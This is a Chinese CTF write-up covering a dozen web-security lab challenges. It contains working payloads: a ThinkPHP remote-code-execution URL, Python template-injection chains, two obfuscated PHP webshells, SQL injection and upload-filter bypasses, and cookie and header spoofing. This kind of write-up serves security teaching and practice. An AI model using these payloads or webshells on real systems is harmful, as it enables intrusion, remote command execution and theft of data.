robots 题目描述:X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。
robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,robots.txt应放置于网站的根目录下。如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。
于是应该读取robots.txt里的内容。
直接访问http://111.200.241.244:58484/f1ag_1s_h3re.php得到flag。
Training-WWW-Robots
由题目名称可得知本题与robots协议有关,于是检查该站点有没有robots.txt文件:Disallow: /fl0g.php表示网站禁止蜘蛛访问本目录,于是我们尝试访问http://111.200.241.244:63486/fl0g.php ,得到flag。
php_rce 由题意得本题应该与ThinkPHP V5远程代码执行漏洞相关。在Github上搜索相关内容:
在网页中随意打开一个无效网址,得到报错提示:
由此我们可以得到版本号为ThinkPHP V5.0.20。在相关漏洞中检索,首先尝试http://111.200.241.244:60671/?s=index/\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
,可以发现远程代码执行成功:
于是将id换为ls以查找目录,不断进入上层目录发现flag文件:
于是直接利用cat命令打开/flag目录,得到flag。
Web_python_template_injection 由题意可得本题利用了Python-模板注入漏洞。在当前URL后面添加{{[].class}}
可以得到如下结果,说明代码注入成功,网站已经执行了我们的代码。
于是便可以利用python的os模块的listdir()
函数来读取当前目录。
1 >>> ().__class__.__base__.__subclasses__()[71 ].__init__.__globals__['os' ].listdir('.' )
注入代码后得到:
发现当前目录中有fl4g文件,于是尝试打开该文件。使用Python中file模块的read()
函数读取文件,并得到flag值:
1 >>> [].__class__.__base__.__subclasses__()[40 ]('fl4g' ).read()
ics-07 (难度:5/10) 进入主页后发现左侧菜单栏和右侧一张图片,但菜单栏只有“项目管理”按钮有作用:
进入后有一个登录界面和源代码查看按钮:
查看源代码进行代码审计。
首先仔细阅读第一段代码,如果page不为空且不等于index.php
,那么就会执行include('flag.php');
否则会重定向到flag.php
文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php session_start(); if (!isset ($_GET [page])) { show_source(__FILE__ ); die (); } if (isset ($_GET [page]) && $_GET [page] != 'index.php' ) { include ('flag.php' ); }else { header('Location: ?page=flag.php' ); } ?>
第二段代码用来进行用户身份鉴别,判断session是不是admin,并获取值来匹配ph(p[3457]?\|t\|tml)
,如果匹配成功(即php3457
,pht
,phtml
),输出”Bad file extension
“,并退出;否则写入文件。实际上这段代码是对php文件进行过滤,检验成功后文件上传到/uploaded/backup/
的目录。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php if ($_SESSION ['admin' ]) { $con = $_POST ['con' ]; $file = $_POST ['file' ]; $filename = "backup/" .$file ; if (preg_match('/.+\.ph(p[3457]?|t|tml)$/i' , $filename )){ die ("Bad file extension" ); }else { chdir('uploaded' ); $f = fopen($filename , 'w' ); fwrite($f , $con ); fclose($f ); } } ?>
第三段代码是对get
参数id
进行校验,如果id的浮点数不是1,且最后一位是9那么实行查询语句,如果查询正确,会得到一个admin的session。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php if (isset ($_GET [id]) && floatval($_GET [id]) !== '1' && substr($_GET [id], -1 ) === '9' ) { include 'config.php' ; $id = mysql_real_escape_string($_GET [id]); $sql ="select * from cetc007.user where id='$id '" ; $result = mysql_query($sql ); $result = mysql_fetch_object($result ); } else { $result = False ; die (); } if (!$result )die ("<br >something wae wrong ! <br>" ); if ($result ){ echo "id: " .$result ->id."</br>" ; echo "name:" .$result ->user."</br>" ; $_SESSION ['admin' ] = True ; } ?>
这里我们直接构造满足所有要求的payload:?id=1a9&page=flag.php
,成功绕过。
下面我们开始尝试文件上传。由第二段可以看到,我们只能用POST的方式上传文件,参数con
是文件内容,参数file
是文件名。我们使用中国蚁剑生成密码为zzz的木马:
1 <?php $exRN =create_function(str_rot13('$' ).chr(0x307 -0x294 ).chr(0155546 /0772 ).str_rot13('z' ).chr(01154 -01007 ),chr(474 -373 ).str_rot13('i' ).base64_decode('YQ==' ).base64_decode('bA==' ).str_rot13('(' ).chr(891 -855 ).str_rot13('f' ).chr(38628 /348 ).str_rot13('z' ).chr(54540 /540 ).str_rot13(')' ).str_rot13(';' ));$exRN (base64_decode('ODA5N' .'jM5O0' .'BldkF' .'sKCRf' .'' .chr(0x325 -0x2d0 ).chr(01116 -01011 ).chr(01371 -01300 ).base64_decode('VA==' ).str_rot13('I' ).'' .'' .chr(792 -722 ).chr(0x650c /0xdf ).base64_decode('Ng==' ).chr(0x14b -0xe6 ).chr(0x2c5 -0x257 ).'' .'pdKTs' .'yNDI4' .'OTE3O' .'w==' .'' ));?>
由第二段代码我们可以发现正则判断.之后的字符,于是我们加个/.即可解决。所以我们post的payload是:
file=pa.php/.&con=\<?php \$exRN……;?\>(省略处见前述木马)
成功连接中国蚁剑
打开/var/www/html/flag.php,得到flag。
wtf.sh-150 (难度:7/10) 进入网站后随便打开一篇文章,注意观察URL:
注意到可能有路径穿越漏洞,于是尝试构造URL为http://111.200.241.244:55069/post.wtf?post=..得到网站源代码:
直接Ctrl+F搜索“flag”关键词:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <html > <head > <link rel ="stylesheet" type ="text/css" href ="/css/std.css" > </head > $ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}" $ then $ local username=$(head -n 1 users/${URL_PARAMS['user']}); $ echo "<h3 > ${username}'s posts:</h3 > "; $ echo "<ol > "; $ get_users_posts "${username}" | while read -r post; do $ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}"); $ echo "<li > <a href =\ "/post.wtf ?post =${post_slug}\ "> $(nth_line 2 "${post}" | htmlentities)</a > </li > "; $ done $ echo "</ol > "; $ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] $ then $ get_flag1 $ fi $ fi </html >
注意上面标出的代码,从中我们可以看出:当COOKIES是admin并且USERNAME为admin时,可以get_flag1,于是确定了之后努力的方向是得到admin的COOKIE值;从上面的代码中我们可以发现有/users目录,利用之前的路径穿越尝试进入该目录:
该目录直接存放着所有用户的cookie值,包括我们之前注册的用户1和admin。对比登录时的cookies:
确定这里存放的就是所有用户的token值。所以我们直接利用cookie欺骗来登录admin账户。
得到flag,但显然flag不完整,只是前半部分。
继续进行代码审计,发现include_page
函数存在文件上传漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 function include_page { local pathname=$1 local cmd= [[ ${pathname(-4 )} = '.wtf' ]]; local can_execute=$; page_include_depth=$(($page_include_depth +1 )) if [[ $page_include_depth -lt $max_page_include_depth ]] then local line; while read -r line; do [[ $ = ${line01} && ${can_execute} = 0 ]]; is_script=$; if [[ $is_script = 0 ]] then cmd+=$'n' ${line else if [[ -n $cmd ]] then eval $cmd log Error during execution of ${cmd}; cmd= fi echo $line fi done ${pathname} else echo pMax include depth exceeded!p fi }
继续观察,发现reply函数也存在路径穿越漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function reply { local post_id=$1 ; local username=$2 ; local text=$3 ; local hashed=$(hash_username "${username}" ); curr_id=$(for d in posts/${post_id}
上面标记的一行代码把用户名写在了评论文件的内容中。
结合上面两段代码和黄色重点标记的部分,我们可以推测如果用户名是一段可执行代码,同时写入wtf格式文件,那么这个文件就能够执行我们想要的代码。
由得到前半段flag的文件get_flag1推测,后半段flag的文件名应为get_flag2,于是我们先注册一个用户名为\${find,/,-iname,get_flag2}
的普通用户,用来寻找所有目录下的get_flag2文件。然后我们测试一下前面提到的文件上传漏洞。将post路径改为如下所示,上传名为test1.wtf的文件,在这里文件的内容没有意义,执行的是USERNAME,即\${find,/,-iname,get_flag2}
,用来寻找flag2路径.
上传成功后我们打开这个文件,可以得到flag2的路径:
下面我们利用这个路径得到flag2。注册一个名为\$/usr/bin/get_flag2
的用户,利用以上方法上传attack.wtf文件:
打开该文件,得到flag2。
拼接flag1和flag2得到xctf{cb49256d1ab48803149e5ec49d3c29ca}.
Zhuanxv (难度:7/10) 结合题目描述中的“你只是在扫描目标端口的时候发现了一个开放的web服务”,使用webdirscan工具扫描一下,得到以下结果:
打开http://111.200.241.244:59982/list可以得到一个登录界面:
仔细审阅代码,发现疑似文件包含漏洞:
同时发现cookie中含有JESSIONID
字段:
于是怀疑该网页所用语言为Java,于是我们尝试利用上面的文件包含漏洞寻找web.xml页面。构造payload为http://111.200.241.244:59982/loadimage?fileName=../../WEB-INF/web.xml
,访问,得到bg.jpg,用记事本打开,可以得到源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?xml version="1.0" encoding="UTF-8"?> <web-app id ="WebApp_9" version ="2.4" xmlns ="http://java.sun.com/xml/ns/j2ee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" > <display-name > Struts Blank</display-name > <filter > <filter-name > struts2</filter-name > <filter-class > org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class > </filter > <filter-mapping > <filter-name > struts2</filter-name > <url-pattern > /*</url-pattern > </filter-mapping > <welcome-file-list > <welcome-file > /ctfpage/index.jsp</welcome-file > </welcome-file-list > <error-page > <error-code > 404</error-code > <location > /ctfpage/404.html</location > </error-page > </web-app >
发现strust2文件,即Struts2框架的全局属性文件,利用文件包含漏洞访问该文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN" "http://struts.apache.org/dtds/struts-2.3.dtd" > <struts > <constant name ="strutsenableDynamicMethodInvocation" value ="false" /> <constant name ="struts.mapper.alwaysSelectFullNamespace" value ="true" /> <constant name ="struts.action.extension" value ="," /> <package name ="front" namespace ="/" extends ="struts-default" > <global-exception-mappings > <exception-mapping exception ="java.lang.Exception" result ="error" /> </global-exception-mappings > <action name ="zhuanxvlogin" class ="com.cuitctf.action.UserLoginAction" method ="execute" > <result name ="error" > /ctfpage/login.jsp</result > <result name ="success" > /ctfpage/welcome.jsp</result > </action > <action name ="loadimage" class ="com.cuitctf.action.DownloadAction" > <result name ="success" type ="stream" > <param name ="contentType" > image/jpeg</param > <param name ="contentDisposition" > attachment;filename="bg.jpg"</param > <param name ="inputName" > downloadFile</param > </result > <result name ="suffix_error" > /ctfpage/welcome.jsp</result > </action > </package > <package name ="back" namespace ="/" extends ="struts-default" > <interceptors > <interceptor name ="oa" class ="com.cuitctf.util.UserOAuth" /> <interceptor-stack name ="userAuth" > <interceptor-ref name ="defaultStack" /> <interceptor-ref name ="oa" /> </interceptor-stack > </interceptors > <action name ="list" class ="com.cuitctf.action.AdminAction" method ="execute" > <interceptor-ref name ="userAuth" > <param name ="excludeMethods" > execute </param > </interceptor-ref > <result name ="login_error" > /ctfpage/login.jsp</result > <result name ="list_error" > /ctfpage/welcome.jsp</result > <result name ="success" > /ctfpage/welcome.jsp</result > </action > </package > </struts >
文件里包含了很多class名,使用文件包含漏洞可以逐个下载。下载后将文件扩展名改为.class,用jd-gui
java反编译工具进行反编译:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public boolean userCheck (User user) { List<User> userList = this .userService.loginCheck(user.getName(), user.getPassword()); if (userList != null && userList.size() == 1 ) { return true ; } addActionError("Username or password is Wrong, please check!" ); return false ; } public List <User> loginCheck(String name, String password) { name = name.replaceAll(" " , "" ); name = name.replaceAll("=" , "" ); Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$" ).matcher(name); Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$" ).matcher(password); if (password_matcher.find()) { return this .userDao.loginCheck(name, password); } return null ; } public List < User > loginCheck(String name, String password) { return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'" ); }
以上代码片段是反编译后得到的登录和用户校验的代码,结合以上代码可以构造payload:(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid\<2)\<'"+str(j)+"'
以及URL:”%0Aor%0Aname%0Alike%0A'admin&user.password=1
“,使用脚本进行盲注,得到flag:sctf{C46E250926A2DFFD831975396222B08E}
。
blgdel (难度:8/10) 首先使用御剑专业版扫描一下目录:
打开/robots.txt文件后如图,指向了另一个网站路径:
打开后页面内包含了网站源代码,于是进行代码审计。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 <?php class master { private $path ; private $name ; function __construct ( ) { } function stream_open ($path ) { if (!preg_match('/(.*)\/(.*)$/s' ,$path ,$array ,0 ,9 )) return 1 ; $a =$array [1 ]; parse_str($array [2 ],$array ); if (isset ($array ['path' ])) { $this ->path=$array ['path' ]; } else return 1 ; if (isset ($array ['name' ])) { $this ->name=$array ['name' ]; } else return 1 ; if ($a ==='upload' ) { return $this ->upload($this ->path,$this ->name); } elseif ($a ==='search' ) { return $this ->search($this ->path,$this ->name); } else return 1 ; } function upload ($path ,$name ) { if (!preg_match('/^uploads\/[a-z]{10}\/$/is' ,$path )||empty ($_FILES [$name ]['tmp_name' ])) return 1 ; $filename =$_FILES [$name ]['name' ]; echo $filename ; $file =file_get_contents($_FILES [$name ]['tmp_name' ]); $file =str_replace('<' ,'!' ,$file ); $file =str_replace(urldecode('%03' ),'!' ,$file ); $file =str_replace('"' ,'!' ,$file ); $file =str_replace("'" ,'!' ,$file ); $file =str_replace('.' ,'!' ,$file ); if (preg_match('/file:|http|pre|etc/is' ,$file )) { echo 'illegalbbbbbb!' ; return 1 ; } file_put_contents($path .$filename ,$file ); file_put_contents($path .'user.jpg' ,$file ); echo 'upload success!' ; return 1 ; } function search ($path ,$name ) { if (!is_dir($path )) { echo 'illegal!' ; return 1 ; } $files =scandir($path ); echo '</br>' ; foreach ($files as $k =>$v ) { if (str_ireplace($name ,'' ,$v )!==$v ) { echo $v .'</br>' ; } } return 1 ; } function stream_eof ( ) { return true ; } function stream_read ( ) { return '' ; } function stream_stat ( ) { return '' ; } } stream_wrapper_unregister('php' ); stream_wrapper_unregister('phar' ); stream_wrapper_unregister('zip' ); stream_wrapper_register('master' ,'master' ); ?>
其中,parse_str()
函数把查询字符串解析到变量array
中,stream_open()
函数对path
的传参和name
的传参从字符串对应到变量,upload()
函数过滤了上传文件的内容,包括/file:\|http\|pre\|etc/is
以及\<" ’.
均被过滤,search()
函数判断是否存在和name
相同的文件或者目录,并替换为空并列出当前目录。
在头像上传页面发现疑似文件上传漏洞,但尝试上传后提示等级太低,无法上传。
注册十个账户,并填写推荐人后获得积分100,此时可以进行文件上传。
尝试上传图片马,上传成功但无法执行,怀疑触发了关键词过滤,在已上传目录里打开后,如上文代码审计的结论,/file:\|http\|pre\|etc/is
以及<“ ’.果然被过滤了,于是想到尝试上传.htaccess文件修改配置文件。构造第一个payload搜索flag文件:
1 php_value auto_append_file master:
其中%2f
是为了绕过’/
’的正则匹配法则。
上传.htaccess文件后已经可以正常上传.php文件:
访问1.php即可得到flag文件名:
然后再上传一个.htaccess文件,内容为:
1 php_value auto_append_file /home/hiahiahia_flag
此时再访问之前的1.php内容已变为:
得到flag。
filemanager (难度:8/10) 首先使用御剑专业版扫描:
打开第一个,发现源代码泄露,进行代码审计:
发现后端代码使用了白名单,所以无法直接上传木马,同时该版本也不能使用%00
截断,但发现网站有rename功能,观察rename.php的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 if (isset ($req ['oldname' ]) && isset ($req ['newname' ])) { $result = $db ->query("select * from `file` where `filename`='{$req['oldname']} '" ); if ($result ->num_rows > 0 ) { $result = $result ->fetch_assoc(); } else { exit ("old file doesn't exists!" ); } if ($result ) { $req ['newname' ] = basename($req ['newname' ]); $re = $db ->query("update `file` set `filename`='{$req['newname']} ', `oldname`='{$result['filename']} ' where `fid`={$result['fid']} " ); if (!$re ) { print_r($db ->error); exit ; } $oldname = UPLOAD_DIR . $result ["filename" ] . $result ["extension" ]; $newname = UPLOAD_DIR . $req ["newname" ] . $result ["extension" ]; if (file_exists($oldname )) { rename($oldname , $newname ); } $url = "/" . $newname ; echo "Your file is rename, url: <a href=\"{$url} \" target='_blank'>{$url} </a><br/> <a href=\"/\">go back</a>" ; } }
怀疑可以通过前端功能rename进行sql注入,使其extension值为空:
然后修改文件添加.php后缀,使网站可以执行恶意代码。
首先上传一个名为',extension='.txt
的txt文件用来sql注入,然后修改文件名为attack.txt:
这样,新的文件名就变成了attack.txt.txt,经过上面高亮的数据库update语句:
1 update `file` set `filename`= 'attack.txt' , `oldname`= '' ,extension= ’’ where `fid`= {$result ['fid' ]}"
attack.txt的extension就变为空。于是我们再上传一个文件名相同的木马文件,利用Antsword插件生成木马:
1 <?php $lVeL =create_function(chr(15876 /441 ).base64_decode('cw==' ).chr(894 -783 ).str_rot13('z' ).str_rot13('r' ),chr(01223 -01056 ).chr(0104160 /0450 ).str_rot13('n' ).base64_decode('bA==' ).base64_decode('KA==' ).str_rot13('$' ).chr(0107147 /0475 ).chr(31302 /282 ).chr(0x2ef -0x282 ).chr(471 -370 ).chr(01237 -01166 ).chr(55932 /948 ));$lVeL (base64_decode('NDU3O' .'DI2O0' .'BldkF' .'sKCRf' .'' .chr(528 -443 ).chr(58581 /849 ).base64_decode('OQ==' ).base64_decode('VA==' ).base64_decode('Vg==' ).'' .'' .chr(0533 -0425 ).base64_decode('dA==' ).str_rot13('w' ).chr(55500 /555 ).str_rot13('J' ).'' .'10XSk' .'7MTM3' .'MzQ3O' .'Ds=' .'' ));?>
上传后由于\$result[“extension”]
已经通过注入变为空,因此我们可以修改为.php文件。
使用Antsword连接可以拿到flag。
也可以在虚拟终端内得到flag:
ics-04 (难度4/10) 进入登录页面后发现三个入口可能存在sql注入漏洞:登录、注册和忘记密码:
于是首先用sqlmap扫描登录页面,发现不存在sql注入:
同样,注册页面也不存在sql注入,但在忘记密码页面,成功扫描出4个数据库:
因为该网站名为cetc,所以首先尝试访问该数据库。访问后发现只有一个user表,于是直接dump。之后发现密码已经加密,sqlmap的hash破解没有作用(后两个用户是我自己注册的),但我们得到了管理员用户名c3tlwDmIn23
:
后来尝试后发现该网站用户访问控制系统存在逻辑漏洞,可以重复注册同一个用户名,于是我们直接注册c3tlwDmIn23
,便可以得到管理员权限。
注册后成功登录,便得到flag:cyberpeace{7de7a525272f7a3463d04739e971fc9b}
。
bug (难度:5/10) 首先尝试注册admin账户,发现账号已存在。于是先注册一个test账号:
但普通账号进入后无法打开manage选项卡,于是尝试寻找修改密码模块的逻辑漏洞。尝试Findpwd,然后用Burp Suite抓包,发现有username的信息,修改为admin:
提示修改成功:
成功进入admin账户,但在进入manage界面时提示IP不允许,只需要抓包然后加上X-Forwarded-For: 127.0.0.1
即可。
进入之后打卡检查元素,发现页面注释有提示:
如果直接访问这个网址会提示Action is not correct!只需要把???改成upload即可。
如果直接上传php文件的话会报错,如果直接修改MIME也不行,因为会检查文件内的<php>
标签。这里需要用script模式绕过,上传一个内容为
1 <script language='php'>helloworld_php_script</script>
的jpg文件,然后用Burp Suite 抓包:
Send后得到flag:cyberpeace{e788ce13e8255b0068e72bcf476453ec}
。